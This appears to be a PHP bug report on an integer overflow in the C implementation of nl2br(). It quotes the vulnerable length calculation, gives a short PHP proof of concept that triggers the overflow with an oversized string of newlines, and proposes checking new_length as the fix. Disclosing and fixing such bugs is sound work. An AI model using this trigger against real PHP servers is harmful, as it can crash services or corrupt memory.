Description:
------------
```
PHP_FUNCTION(nl2br)
{
	/* in brief this inserts <br /> or <br> before matched regexp \n\r?|\r\n? */
	char		*tmp, *str;
	int		new_length;
	char		*end, *target;
	int		repl_cnt = 0;
	int		str_len;
	zend_bool	is_xhtml = 1;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|b", &str, &str_len, &is_xhtml) == FAILURE) {
		return;
	}
	...
		{
		size_t repl_len = is_xhtml ? (sizeof("<br />") - 1) : (sizeof("<br>") - 1);

		new_length = str_len + repl_cnt * repl_len; // ==> integer overflow
	...
		RETURN_STRINGL(tmp, new_length, 0);
```

PoC:
```
<?php

ini_set('memory_limit', -1);
$str = nl2br(str_repeat("\n", 0xffffffff/14+1));
var_dump(strlen($str));

?>

Fix:
checking new_length